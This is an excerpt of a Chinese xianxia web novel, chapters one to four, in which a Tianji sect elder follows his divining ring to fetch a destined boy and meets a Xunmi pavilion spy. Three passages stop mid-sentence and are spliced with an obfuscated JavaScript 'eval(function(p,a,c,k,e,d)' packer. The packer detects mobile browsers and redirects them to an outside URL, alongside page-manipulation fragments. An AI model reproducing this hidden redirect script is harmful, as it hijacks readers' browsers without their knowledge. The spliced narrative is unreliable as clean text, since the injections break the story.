《这无情道你不修了?》 1. 微霜 初夏,不凉不热,正宜宅家。 一座挂着“雪霁”二字的古老阁楼外,长着颗高大的玉兰花树,花开得烂漫,树下的躺椅上,坐着个人。 此时本已过玉兰花开的季节,但那人伸手朝头顶的玉兰花树上轻轻一点,一股纯粹的灵力便游鱼般缠绕在一朵将谢的玉兰花上,几息间,那奄奄一息的花朵便重新散发出生机。 “不能不去么?”那人懒懒开口。 “不能。”在玉兰花树的几步之外,还站着个人,一袭白衣,面色冷淡,平静道:“你不想处理文书放着也罢,但‘天命’不可违。” 两人一站一坐,对视几息,终是躺椅上的人率先败下阵来,嘴中暗骂一声“狗屁天命”一类,缓缓抬眸。 此人外表看着年轻,却是三大宗之一的天机宗长老,还是最深居简出那一位。 天机宗以“占卜”和“推演”天机闻名修仙界,宗主闭关,所有公务便落到了五大长老之首的清休澜头上。 “非得我去?”清休澜一双金眸发着光,夹杂着几丝红色的睫毛微微颤动,从躺椅上缓缓起身,道:“我带谁回来谁就死,没有例外。沈灵,你又不是不知道。倘若这是‘天命’,那仙界应当已经变成阴阳司的走狗了吧。” 阴阳司是人死后去往的轮回往生之地,而仙界则是飞升后修仙者的最终归途,清休澜此话无疑是对天道的大不敬。 被称作“沈灵”的人与清休澜相识良久,同为天机宗长老一职。他听见这“大逆不道”的言论,脸上的表情丝毫未变,似乎早就习惯了清休澜的胆大妄为,一指清休澜右手食指上闪烁着的戒指,道:“这话你对我说无用,应当对它说。” 天机宗招收弟子的方式与寻常宗门不同,更扯……更玄一些,收人只看缘分和卦象,以及最重要的“天命”。 清休澜食指上的这枚通体冰蓝的戒指全名为“皎月微霜”,是天机宗“五法器”之一,用以推演所谓的“天命”。它们已经在天机宗流传了百余年,彼此相连,却没有固定的主人。 谁是天机宗的长老,谁就是法器的主人。 清休澜看着食指上泛着蓝光,戒身流转着星辰的戒指,无奈扶额道:“它要是听得懂人话,我也不至于和你说了。” 每当出现法器认为可能会影响到修仙界命运的人时,法器就会微微发光,示意自己的主人需要去将人带回天机宗来。 五位长老都带回过不少人,皆是大才,有的甚至接管了长老一位——当然,除了清休澜这个人间阎王。每次他下山寻人,人本来活得好好的,一跟他走就死。或死于急病,或死于意外。 如果微霜戒只是个会发光的灯的话,清休澜大可以直接无视它,可惜不是。自从它亮起后,清休澜就有股挥之不去的灼烧感,从心肝脾肺肾烧到每一寸骨头缝中,连皮肉下的血脉都在不断鼓胀着。 只有在见到卦象所示之人时,灼烧感才会渐渐减弱,直到清休澜将人带到天机宗界内后,令人抓心挠肝的灼烧感才会完全褪去——当然,要是中途人死了,这该死的灼烧感会直接消失。 简直不讲道理。 “我一直怀疑你有点不为人知的癖好。”沈灵偏头,抬手抚去了落在肩上的玉兰花,淡然开口:“毕竟这灼烧感非常人能忍。像你这样每次都要拖到我来喊的,全天机宗找不出第二个。” “……”清休澜觉得自己头更疼了:“你知道你这话是污蔑,我可以报官告你的吗。” 沈灵做了个手势,意思是“欢迎去告”,随后抬手往空中一勾,清休澜手指上的微霜戒就飞到了他的手中。沈灵轻轻拂过微霜戒的戒身,微霜戒亮起,旋转着逐渐变大,最终变成了一个周围环着三道银圈的星空占星仪。 占星仪上是一份完整而详细的地图,一颗位于天机宗南方的星星格外明亮,估计就是清休澜要去寻找的人的位置。 “不远。你动作快的话,明天也就回来了。”沈灵看完后将微霜戒还给了清休澜,说道。 清休澜嗤笑一声,道:“小看我了,那人死得快的话,两刻钟我就回来了。” “那还不走?” 清休澜沉默两息,道:“他就该死?” 沈灵依旧是那副无悲无喜的表情,说道:“生死自有定数。是天道要让他死,不是你。” 清休澜冷哼一声,道:“那我还当什么长老,明儿我就去阴阳司报道,说我是新上任的黑白无常。” 沈灵摇了摇头,没有理会清休澜的胡言乱语,抬手扔给他一枚乾坤戒,转身走进雪霁阁,坐到了那张摆满了文书的书桌前,开始处理堆积如山的公务。 沈灵转身离开后,清休澜眼中对天道的厌恶再也掩盖不住。他摸索着食指上的微霜戒,暗下决定。 他虽修杀戮道,杀的却是该杀之人,天道别想以这种方式扣他功德。 这次“杀”完人回来,沈灵说什么他都要撂挑子,不干了! —— “千年前,天地间异象不断,地裂山崩,川泽逆流,人心惶恐。” “但在一夜之间,数十条蕴含天地精华的地脉横空出世,地脉附近的数万人反应不及,被迫吸收了大量过于浓郁的气息,因此获得了与世间万物建立联系的力量。” “这种能够‘呼风唤雨’、‘驾云揽月’的力量被称为‘灵力’。最初,灵力只存在于那些突然出现的地脉中,先辈就将其尊称之为‘灵脉’。” 学堂中的先生正在给刚入门的弟子讲解修仙界历史,清休澜一路向山下走去,听了个囫囵。 “但随着时间流逝,最初那万人大多都死于渡劫飞升时,上天降下的雷劫。他们身死后溢散出的残余灵气,就成了所谓‘洞天福地’。” “灵脉不可再生,洞天福地终究有限,原本随处可见的修仙者也渐渐凋零,多数人都选择去过读书种地的平凡生活。” “除了神出鬼没的零星散修之外,大部分修仙者都聚集在了一起,建立了宗门。现如今屹立不倒的大宗门,多是依在十余条灵脉之上建立的,天机宗便是其一。” 老者敦厚有力的声音渐渐远去,站在天机宗宗门前时,清休澜微微眯起了眼,遮住了阳光,朝山下看去。 在宗门前那条通天玉阶上,有个瘦小的身形在缓慢移动着。 清休澜挑眉,耳上极长的淡金色流苏耳饰轻轻晃着,阳光照亮了他眼眸的正下方那两颗对称的暗红色小痣。 天机宗可少有来客。 清休澜从高处一跃而下,像一片轻薄的蝉翼一般悄无声息地落到了那道身形旁。 是个穿着青衣的小孩。他曾不止一次抬头向上望去,想知道这玉阶的尽头到底在何方,却始终一无所获。他双手发麻,腿也在长时间动作下变得酸软无力,可却依旧没有停下。 清休澜心念一动,突然想起沈灵前不久出了趟门,莫不是…… 他往前走了一步,从阴影中走到了阳光下,青衣孩童被突然出现的清休澜吓了一跳,差点脚一滑原路折返。 “沈灵带你来的?”清休澜懒得废话,开门见山。 青衣孩童迟疑地点了点头,又听清休澜奇怪问道:“那他怎么把你丢这儿了?” 青衣孩童又摇了摇头。 “……”清休澜将“沈灵捡了个小哑巴回来”的想法艰难从脑海中挥去,原本就微微发亮的金眸中的光芒更盛,再次开口:“沈灵和你说了什么?” 青衣孩童看着他,弱弱开口问道:“……你是谁啊?” 清休澜:“?”他眸中流转的光芒一顿,随后缓缓散去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“得嘞客官,那给您上份应季的香椿炒蛋,再来个本店的招牌‘虾仁笋花’,配上一坛桃花酿,包您满意!”灰衣小二鬓角落下汗滴,又被他用披在肩上的毛巾抹去,三言两语就给清休澜安排了顿晚饭。 “嗒”一声,清休澜将三块巴掌大、摞在一起的银锭放在桌上,然后开口说道:“一间上房,新换一套床具,备热水。” 灰衣小二“呦呵”了一声,脸上的笑容立刻谄媚了起来,连连称好,忙不迭地下楼安排去了。 清休澜易了容,混在人群中只能称一句清秀,浑身上下素得很,一丝装饰也无。他只简简单单地穿了件白色布衣,腰上挂着个牛皮水袋,用不知是不是从衣服上裁下的发带将长发束起,出手倒是大方。 原本被他戴在手上的两枚戒指也不见了踪影。清休澜撑着头垂眸向下望去,楼下人头攒动,酒味浓郁,说书人在台上慷慨激昂地讲着话本,声音高到连坐在二楼的清休澜也能听得一清二楚。 这时,一位身着白衣,相貌平平,背上背着一把被白布掩盖的大剑的年轻男子从外面走了进来,左右看了看,然后对迎上来的小二低声说了句什么,随后递给小二一个巴掌大的布袋,拿着钥匙上楼去了。 清休澜微微蹙起眉,那年轻男子想都不用想就知道肯定易了容,浑身上下半点象征身份的东西都没有,似乎在可以隐藏身份。但他背上背着剑的布袋却有些松了,露出了里面的剑穗装饰。 如果清休澜没记错的话,那应该是三大宗门之首的凌月剑宗独有的云浪结。 云浪结在凌月剑宗中很常见,但中间镶有一颗碧蓝色云浪珠的云浪结可就不一般了。只有内门弟子才配拥有云浪珠,珠里记录着此剑主人的身份信息。 凌月剑宗的内门弟子下山历练常见,但独自一人下山,易了容,还藏起了凌月剑宗的标志玉佩的内门弟子可就不常见了。 有意思。 清休澜随手挑起一粒碟中的花生米尝了尝,漫不经心地想道。 他怎么觉得……山雨欲来呢。 2. 灵脉 几个时辰前,天机宗中。 在清休澜离开天机宗后不久,距离天机宗不远处的山林中突然传来一声巨响,紧接着便燃起了熊熊烈火,照彻夜空。在雪霁阁处理公务的沈灵骤然抬眸,身形一动,转瞬就出现在了天机宗门前。 青衣孩童不知何时已经爬了上来,正站在顶端玉阶旁,呆呆地看着近若咫尺的山火,红色火光倒映在他的眼眸中,从芝麻大小逐渐占满整个眼眸。 察觉到异变的不止沈灵一人,长老中资历最轻的苏扶盈闻讯而来,看着面前的一座“火山”瞳孔骤缩。别人或许不清楚,但身为长老的她却清晰记得这座正在以极快的速度被火烧殆尽的山林下方,埋着一条仅次于主灵脉的巨大灵脉。 虽然这条灵脉并不属于天机宗,但若不及时控制住火势,烈焰与灵脉中的浑浊气体碰撞发生爆炸的话,天机宗必会被波及。 但现在有一个比去控制住火势更紧急、更重要的情况。 沈灵一把抓住愣在原地的青衣孩童的肩膀,将他抛向后方的天机宗内,然后立刻往旁边避开。 下一秒,一道燃着火焰的浊气就猛烈地撞在了青衣孩童方才站的地方,将地面砸出了一个大坑,周围的草地逐渐枯萎,像是被吸走了生命力一样。 苏扶盈闪身出现在沈灵身旁,手腕一转,一枚半个手臂长的,青绿色透明如冰晶般的铃铛就出现在了空中,散发着丝丝寒意。苏扶盈双手浮空捧着,将其往上一托,这枚坠着流苏,形状似海浪又似花瓣的铃铛便发着光往上飘去。 在下一道炽热浊气即将撞上天机宗前,一条水滴状的青蓝色长链条悄无声息地出现在浊气旁,将其一道道缠绕了起来,然后猛地一缩,长链与浊气一同消失在了空中,只余下点点星光落下。 一道冰蓝色的结界逐渐显现,将整个天机宗包裹在内,拦下了所有飞来的浊气。 浊气不断打在结界上,像一头没了锁链束缚的野兽一般愤怒地发泄着。而苏扶盈动作未变,依旧稳稳地控着空中的铃铛,春风化雨般将攻击全都拦下,连呼吸声都丝毫未乱。 沈灵身形一闪,出现在了天机宗上方,随后抬手做了个挽弓的动作,顿时,如凤凰涅槃时的金红色光芒在夜空中出现,流光绕出了线条优美的弓身,不断有火光飘落,弓身两端装饰着橙红色的风凰羽毛,尾端燃着火焰。 一支金色羽箭搭在弓弦之上,蓄势待发。沈灵原本近乎黑色的暗红眼眸已经变为飘逸着光芒的鲜红色,他一动不动地看着前方,在一团浓郁到肉眼可见的浊气凝聚成一团火球时,骤然松手。 刹那间,一声凤鸣响彻天际,一道巨大的凤凰虚影张开了双翅向着前方呼啸而去,绚烂而华丽地撞向了未成型的浊气团,浊气团在空中沉寂两秒之后突然爆裂开来,与凤凰虚影一同缓缓消散。 爆炸产生的冲击波被垂镜引尽数挡下,苏扶盈缓缓从空中落下,青蓝色光芒渐渐从她的眼中散去,她却没有收回自己的法器,任由慢慢旋转着的垂镜引飘在空中。 沈灵放下抬着的手,赤翎的弓身上的火光渐渐黯淡,随后化作光点消失在了沈灵的手中。他从空中落下,走到了苏扶盈的身边,看着前方山林中依旧汹涌的火焰,开口道:“来不及了。” 若是灵根属水的孟玄长老在场,或许还能用法器尝试抢救一二,但他带着自己两个徒弟下秘境了,归期未定。 而灵根为火的沈灵和灵根为风的苏扶盈对来势汹汹的山火无可奈何。 好在有垂镜引,只要火烧不到灵脉,天机宗便可安然无恙。 沈灵的眼眸逐渐恢复成浓郁的深红色,他站在原地,转头向另一个方向看去,眼神平静。 —— 几个时辰后的清休澜对天机宗发生的事一无所知,他看着那人消失在自己的视线范围内,百无聊赖地收回了目光。 天机宗和凌月剑宗算不上交好,准确说,天机宗对每一个宗门都是一样的态度。而凌月剑宗对有能力与其一争“宗门之首”名号的天机宗自然没什么好脸色,两宗也只是维持着表面的平静友好罢了。 虽然此人颇为可疑,但清休澜从来懒得管别人的闲事,更何况是凌月剑宗的闲事。 于是他又若无其事地听起了楼下说书人的“神话故事”。 “……相传那浮云山山腰上,有一处被杂草掩盖的山洞。进入山洞后,乍一看平平无奇,其实已经步入了幻境当中。只要能够堪破幻境,就能取走那山洞中最宝贵的一枚兽蛋,那兽蛋中孕育着一只名为‘乘黄’的神兽。” 说书人故作玄虚地说道:“那乘黄可不得了!上可腾云三千里,下可入海游万丈,浑身上下都是宝,随便取点口诞、毛发入药,轻松延寿百年!” “只可惜,去浮云山寻找那兽蛋的人,全部都消失了,我们也只能看着这近在咫尺的长生不老药望洋兴叹。”说书人摸着自己的胡子摇了摇头,叹息道,引起台下听客一阵窃窃私语的骚乱。 乘黄?清休澜听到只觉耳熟,细想几秒后突然恍然——不久之前,二十多年前吧,沈灵就捡回了个乘黄的蛋来。 可惜这小家伙不知是天性使然还是品种不纯,并不像说书人口中这般有本事。别说“腾云驾雾”,爬个树都能摔下来,怕火还怕水,整天躲在茂密的大树上和阴暗的缝隙中,一天吃三顿,一顿要吃掉一大锅食物——还挑食,光吃肉不吃菜。 在好吃好喝地将它养过幼年期之后,天机宗就将它放回了当初捡到它的那座山上。 而自掏腰包供了二十余年这小兽吃用、还负责照顾它生活起居的沈灵,从此改掉了乱捡东西的坏毛病,再也没往天机宗带过除了人以外的任何活物——是哪座山来着?清休澜蹙眉思索了一会,最后依旧没能将山名从记忆中翻找出来。 “客官慢用啊。”灰衣小二端着托盘走上前来,将菜和酒放到了桌上,然后递给清休澜一枚钥匙,说道:“四楼的天字号客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105621|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房全都空着,朝南朝北的都有,客官随便挑便是,什么时候要热水和我说一声就行!” 清休澜道了谢,漫不经心地倒了杯酒出来,偏着头准备接着听楼下的说书人讲的那不知从哪儿看来的“神话”。 楼下,一个戴着面具的黑衣人走上前,凑在说书人耳边轻声说了句什么,说书人一点头,话音一转。 “而在这座浮云山北方,顺着河流往上,就能看到那座山下埋藏着一条灵脉的‘灵崖山’。山脚下是一座繁华的城镇,闻名于世的‘藏宝楼’就在其中。在几日后的拍卖会上,会有一件能够撼动整个修仙界宝贝在此拍卖。” 虽说此处是只个普通人居多的城镇,但在此落脚休整的修仙人士亦不少,闻言大多都没有什么反应,甚至还听得两声嗤笑。 说书人视若无睹,紧接着神神秘秘地说道:“听闻,那是一件可以化浊气为灵力的宝贝。” 此话一出,坐在楼下的修士不约而同地放下了手中的茶杯,转头看向站在台上的说书人。 说书人将一叠巴掌大的纸张放到了桌上,然后笑着说道:“藏宝楼,诚邀诸位参加。” 立刻有人质疑道:“怎么可能!浊气灵气天生对立,相生相克,就像火和水一般,将浊气化作灵气,就像将水化为火,随后用火沐浴一般荒谬!” 不断有人点头附和,台下传骚乱声不休,而说书人巍然不动,没有反驳,面上带着从一而终的微笑。 清休澜一听就知道对方指定是在扯淡。若这件宝贝真的可以将浊气化作能够使用的灵气,那到整个修仙界爆炸之前,都不会传出一丝风声让外人知道。 而现在明晃晃地拿出来“拍卖”,要么是已经废了,要么是转化灵气的代价太高,宝贝的主人承受不住,想找个蠢货接手,要么就是……“宝贝”是假,吸引众人的注意力才是真。 清休澜沉思之际,一道清朗的声音从不远处传来。 “嗨呀!别担心,不管是真是假,这拍卖会都办不成的。”发声那少年原本坐在清休澜右手旁隔几桌的位置上,如今已经离开了座位,正趴在二楼的橼拦上,懒洋洋地向下喊道。 那少年一头黑色长发高高束起,右耳和发间都挂着蓝色的菱形宝石装饰,腰上坠着一串银铃,走起路来却一点儿声都没有。他左眼上画着蓝色蝴蝶样的装饰纹路,一只眼眸是如水晶般的纯蓝色,一只则是正常的黑眸。 明显异于常人的外貌使楼下众人捂着嘴不动声色地指着他谈论着些什么,而他却面色如常,似乎成为谈论中心对他而言是家常便饭。 “为什么。”清休澜放下木筷,抬眸看向面前的少年,淡淡问道。 少年闻声回头,目光落到清休澜身上时,他蓝色的左眼亮了一下,随后又恢复如初。少年从橼拦上起身,自然地坐到了清休澜对面,用像谈论今晚吃什么一样的平常语气说道。 “当然是因为——灵崖山底下的灵脉炸了呀。” 3. 少年 虽然客栈中的吵闹声不小,但是蓝眸少年也没有刻意压低声音,五感优于常人的修仙者想要听清蓝眸少年的话语声还是轻而易举的。 蓝眸少年眯起眼,嘴角微扬,双手托着下巴撑在桌上,对楼下骤然响起的桌椅碰撞声和碗筷摔裂声视若无睹,微微歪着头对面前不紧不慢擦着手的清休澜说道:“你好淡定,听到这样的消息一点儿也不惊讶吗?” “惊讶。”清休澜放下手帕,二人周围逐渐升起一层薄薄的淡金色结界,隔绝了外界的声音的同时,也隔绝了别人的视线,“更让我惊讶的是,身为‘寻秘阁’的密探之一,竟然会直接将一条消息公之于众?” 蓝眸少年脸上的笑意逐渐加深,将挂在腰后的一枚看着平平无奇的令牌拿在手中转了两圈,令牌散发出淡淡的银色光芒,一个复杂且精致的标志逐渐浮现。 他慢慢睁开了眼,说道:“你认得‘寻秘阁’的令牌,果然不是个普通人啊,这身打扮和容貌也是假的啰?让我猜猜,你来自哪儿呢。” 他歪着头看向天花板,接连报出了几个榜上有名的宗门,看清休澜没有反应,又往“百草院”、“书湘庭”之类的小势力猜了猜,结果话音刚落,又自己将自己推翻,口中喃喃小声说着什么“这种小地方出不了你这样的人”云云。 清休澜没搭理他,将视线落到了蓝眸少年手中那块褪去了平凡外表,变得绚烂夺目的方形令牌上。 修仙界无人不知寻秘阁,那里是一个与各方势力皆无牵扯的中立场所,你想知道的消息都可以上寻秘阁打听,但那儿的消息,只能用相同价值的消息换取。 “不伤寻秘阁中人”算是修仙界中一条不成文的规矩,毕竟难保之后不会有要求助于寻秘阁的时候,就当卖一个人情给寻秘阁主,日后有事也好商量。 寻秘阁中人在外探听消息也都是以低调行事为宗旨,别说主动将自己得知的消息免费送人,连能够证明身份的令牌也都是只有危及生命的时候才会出示,所以见过寻秘阁令牌的人少之又少。 这少年的行事风格与寻秘阁中人实在相差过大,但他手中的令牌却实打实是真的。 只因寻秘阁的令牌都是用北外海深处的发光磷石制成的,从外表看普普通通,但只要用灵力激发,令牌表面就会显现出独属于寻秘阁的标识。标识的具体纹路和制法皆是绝密,因此难以仿制。 清休澜在很久之前就与寻秘阁阁主相识,这令牌上的标识还是他帮忙设计的,真假自然瞒不过他的眼睛。 虽然令牌没问题,不过……清休澜将蓝眸少年从头到脚打量了一番,随后站起身,二人身边的结界缓缓消散,吵闹声逐渐充满在周围,他头也不回地转身出了客栈。 “去哪儿啊,带上我呗。” 一只在空中闪着光的蓝色蝴蝶从客栈中飞出,飞到清休澜身边后,重新化作蓝眸少年,从空中落了下来,他抱着头一摇一晃地跟在清休澜身边,也不管清休澜是否愿意。 清休澜停了下来,见鬼似的转头问道:“我为什么要带上你,我们很熟么?” “哎呀,总会熟的,就当交个朋友啰,多个朋友多条路不是?”蓝眸少年笑眯眯地指着自己,介绍道:“我叫席梵,你呢?” 清休澜摩挲了一下右手,没有回答。 正当席梵还想说些什么的时候,一阵蓝光突然出现,自上而下旋转着将清休澜整个包裹,一息后,席梵眼前哪儿还有人,连光芒都消失得一干二净。 “啊?”强光过后,席梵睁开了眯着的眼,有些迷茫地左右看了看,“道友?” “道友?” “有人吗。” —— 距客栈不远处,有一村落,名曰“落花村”。 可再看,这村落中连根草都找不出来,别说落花,风大点都能糊人一脸尘沙。 清休澜从传送阵中走出时,入目便是一片黑暗,伸手不见五指,一盏灯火也无,不知路在何方。 “唰”一声,一盏和天机宗玉阶两侧如出一辙的琉璃灯盏突然出现,照亮了清休澜周围两丈,好歹能从泥土上找出一条勉强能够落脚的道路。 清休澜换下了原本的布衣装扮,重新披上了狐氅,泛着蓝色星光的微霜戒也重新出现在了他的右手食指。 易容消散后,他正在发亮的金色双眸再也掩盖不住,站在面前破旧不堪的村落前显得画面格外不和谐。 这座连鸟都不稀得来觅食的落花村不管横看竖看都不像是有人的样子,但清休澜就像手握“藏宝图”一样,毫不犹豫地选定了一个方向往深处走去。 而就在清休澜路过的一间昏暗房屋内,一双眼眸跟着他缓缓移动,在清休澜走出一段距离之后,再次没入了黑暗中。 虽然前进的方向未变,但清休澜走走停停,一会儿上手轻敲摇摇欲坠的破旧房屋,一会儿蹲下身看着地面陈旧的痕迹出神。 直到一盏茶后,清休澜才终于看腻味了这座荒芜的村子,用手帕擦着指上的灰尘,开口道:“出来。” 寂静。 清休澜转过头看着身后毫无动静的房屋,耐下心来再次重复了一遍:“我并无恶意,出来罢。” 很显然躲在房屋中的人并不信清休澜这番说辞,依旧保持了沉默。 “小崽子,防范心倒是不小。”接连两次呼唤都没有得到回应之后,清休澜终于失去了好好说话的耐心,抬眸看向某一间房屋,“但你这样的防范心容易激怒一些脾气暴躁的位高权重者。你很幸运,我脾气还不错。” 清休澜抬起右手打了个响指,“轰隆”一声,他看向的那间房屋瞬间倒塌,一位黑发少年终于暴露在了昏暗的月光之下。一层淡金色的结界将他包裹在内,不管是落下的木块、石块,还是激起的尘土,都没有沾染他分毫。 少年穿了一身与落花村树上的树叶一样稀疏的“破布条”衣服,赤着脚,手上、身上、头发上都沾着灰尘和枝叶,脸上还糊着可能是用以“伪装”的稀泥,幼稚且毫无用处,却符合懵懂的少年心性。 清休澜心念一动,淡金色的结界中便自下而上出现了一股清泉水,将少年从脚到头洗了个遍,洗净了少年身上的脏污。 少年动不了,也开不了口,只能眼睁睁地任由水流在自己身上流淌,一双漆黑的眼眸半是惊恐半是愤怒地盯着清休澜。 “怎么这样看着我,你有话要说?”清休澜捕捉到了黑发少年眼神中蕴含的信息,站在原地未动,抬出右手一勾,那位少年就连人带结界一起飞到了清休澜面前。 清休澜眼中的光芒微暗,开口道:“说罢。” 少年骤然重新掌握了身体的控制权,腿一软,好悬没直接给清休澜行个大礼,他警惕地往后退了两步,强撑着气势开口道:“你是谁。” “很无聊的问题,换一个。” 少年一梗,紧紧盯着清休澜闭上了嘴。 清休澜等了两秒没有得到回应,理所当然地觉得少年应该是没有问题了,转身就走,结果刚走没两步就听到身后的少年开口道。 “你来干什么的。” 清休澜步伐一顿,回头看向少年,淡淡道:“带你走。” 说完,清休澜抬起右手两指,在空中几笔勾勒出一个法阵,一道金色的光芒在空中亮起,法阵成型,飞向了少年,如游蛇一般缠上了他的右手,随后光芒缓缓熄灭,少年的手腕上出现了一个平平无奇的淡色手镯。 少年像被烫到一样甩了甩手,明显被清休澜这番“凭空变物”吓到了,一边试图将手镯扯下,一边朝着走远了的清休澜喊道:“喂,这是什么,你要去哪。” “只是个防止你逃跑的小法阵,我没那么多闲工夫看孩子。”清休澜没有回头,抬手往后一挥,原本飘在身边的琉璃灯盏就向后飞去,在少年身边停了下来,照亮了少年周围。 还没等少年反应过来,他就感到了一股无名的推力将他朝前推去,“喂?!” 空中就像有一只无影无形无法抵抗的大手一样,最终,少年踉踉跄跄地被推到了清休澜身边,道:“你干什么?!” “嘘。”清休澜俯下身,将食指抵在少年嘴前,说道:“我说了,我并无恶意,只要你乖乖跟在我身边,我保你性命无虞,衣食无忧。” “虽然我脾气比较好,但我这个人比较讲究,所以你最好不要试探我的底线,不然我也不介意给你一点小教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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清休澜在少年的沉默中得到了回答,他轻叹,微微抬头看着漆黑的夜空,说道:“也对。比起虚无缥缈的‘启示’,真真切切站在这片大地上的生民更加在意今天吃什么、哪家猪牛又下了崽、谁又和谁成了亲……” 少年看着清休澜开始说些自己听得一知半解的话语,似乎没有要继续强行带走自己的意思,于是稍稍放松下来,却依然一动未动,生怕自己哪个动作会将面前这个眼睛发着光的人从自己的世界中“唤醒”。 “不过呢。”清休澜沉默了两秒,在少年紧张的目光下再一次下达了“死亡诏书”,“你还是得和我走,无论你想不想。” “我是个注重承诺的人,说过的话我都会兑现,毕竟如果我真想把你怎样的话,难道你以为你现在还能站着听我说话?”清休澜轻嗤,起身说道:“你可以选择现在跟我走,然后洗一个热水澡,吃一顿饱饭,睡一个好觉——或者,留在这里,等你饿晕了,我将你装在灵宠袋里带走,也是一样的,左不过多耗费些时日。” 说完,清休澜甚至没有留给少年考虑的时间,毫不犹豫地转身就走,他步入了黑暗之中,那盏琉璃灯却被他留在了原地,依旧散发着柔和的光芒。 少年低着头,看着自己脚下被灯盏照出的影子,矮矮的、短短的。落花村太过荒凉,在夜晚连风吹树叶的声音都没有,就像来到了一个充斥着“虚无”与“静默”的世界一样。少年微微抬起头,左右环顾了一圈,黑暗中已经探寻不到清休澜的影子,全世界似乎只剩下了他一个人,以及漂浮在半空中的琉璃灯盏。 良久,少年再也忍受不了周围的寂静,提高了声喊道:“喂,你……”他不知道那人用了什么办法,居然让夜晚的风声都消失了,原本透着些青和紫的夜空也像被浓墨覆盖,除了脚下的光亮之外,四周皆是厚重的黑。 过于不正常的环境终于将少年逼得往前走了一步,琉璃灯盏也随着少年的动作微微向前移动了些许。少年接连唤了几声,从“喂”,喊到“前辈”,最后什么该喊的不该喊的都喊了,也没有得到一丝回应。 不知道是不是少年的错觉,他总觉得琉璃灯盏的光芒在逐渐减弱,照亮的范围也在逐渐缩小,就像无声催促他做出选择的沙漏一般。 少年的眼瞳微微颤动着,在周围的黑暗将光芒蚕食到只剩碗口大小之后,少年垂下了手,缓缓朝着清休澜离开的方向走去。 他别无选择。 4. 赐名 在踏出最艰难的第一步之后就轻松多了,就连原本黯淡下来的琉璃灯盏也重新亮了起来,就像在肯定他做出的选择一样。 你给我选择了吗,虚伪!少年看着在空中微微摇曳的灯盏在心中暗骂道。清休澜看似给了少年两个选择,实际上只给了少年一条路,周围都是那条路折射出来的倒影,要真想走上去只会撞一脸鼻青脸肿。 —— 莫约一炷香前。 即使没有琉璃灯盏照明清休澜也能在和黑暗中行走自如,他步伐平稳,即使身后一片黑暗,少年没有跟上来的意思也不着急。他在距离客栈不远处的一片竹林前停了下来,客栈的烛光模模糊糊地从前方传来,并不真切。 清休澜站在原地,一垫脚,身体便漂浮了起来。他像打坐一样将右腿压在了左腿之下,但左腿却并没有收起,依然垂在空中。清休澜缓缓阖上了眼,呼吸平静,在心中默数。 直到数到第一千六百八一时,蜿蜒曲折的小道上出现了一抹星光,虽然清休澜背对着小道,却依旧在星光出现时缓缓睁开了眼。 那抹星光越来越大,越来越近,与之一同而来的是少年略微急促的呼吸声。 清休澜悠悠落地,随后转过了身,看着面前的少年温柔地开口道:“好孩子。” 少年偏过了头,闷闷道:“我不是自愿的。” “不重要。”清休澜语气依旧温柔,朝着少年伸出了手,就当少年以为他要碰到自己时,那双手却擦着少年的脸颊向后伸去,然后那盏漂浮在少年身后的琉璃灯便悄无声息地变成了一盏再普通不过的、细长南瓜样的灯笼,甚至连里面的烛火都变成了一支即将燃尽的蜡烛。 清休澜将灯笼提在左手,朝身后伸出了右手。 少年看着面前那双朝自己伸出的手,犹豫了一瞬,最终还是没有将自己的手放上,只往前走了一步,表明自己会跟他走。 清休澜回头看了他一眼,没在意,收回手后朝着不远处的客栈走去。 在客栈的烛光将清休澜手中灯笼的光芒完全掩盖之前,清休澜身上的狐裘便化作流光散去,他又换回了原先易容的样貌,金色的眼眸逐渐沉寂,变成了黑色。 少年在短短半个晚上经历了普通人可能一辈子都不会遭受的惊吓和“威胁”之后,已经失去了惊讶的力气,哪怕清休澜在他面前表演了一番“大变活人”,他也只是淡淡地抬眸看了一眼,然后再次垂下了眸。 可惜他今晚注定还有一劫。 “你终于回来了,我都快等睡着了!” 少年在跟着清休澜走到客栈前时,突然听见一声懒洋洋的呼唤,紧接着一只半个手掌大、散发着流光的蓝色蝴蝶就从客栈顶飞了下来,正当少年不知先疑惑“蝴蝶为什么会发光”还是先疑惑“蝴蝶为什么会说话”时,那只蝴蝶就在他眼前再次表演了一番“大变活人”。 一阵蓝色的鳞粉顺着空气飘入了少年的眼睛中,少年猛地一闭眼,眼眶中顿时传来火辣的痛感,他正想伸手去揉,却被握住了手腕,紧接着,清休澜的声音从上方传来:“收好你的鳞粉,不然我不介意帮你清洗一下翅膀。” 在少年看不见的地方,清休澜身后出现了一个由无数细小的水流汇聚而成的、足以将整个客栈摧毁的巨大水漩涡,他平静地看着席梵,似乎只要席梵某个动作不对,就会立刻将这只“弱小的蝴蝶”溺死在漩涡当中。 席梵抬头看了一眼,随后笑着抬起双手,示意自己无害,接着往后退了一步,说道:“别这么紧张,只是鳞粉而已,又不是毒药。瞧,这小孩儿不还活着呢么——这你儿子?” 在确定席梵没有攻击意图之后,水流逐渐平息,消散在了空中。少年只觉一阵冰凉擦过自己的眼周,随后痛感便被压了下去,握住自己的那双手也松开了。 少年试探着睁开眼,视线变得异常清晰,甚至能轻松看到远处黑暗中被风刮得左摇右晃的花草。 确定少年没事之后,清休澜便收回了目光,懒散地看着席梵回道:“看起来像么。” 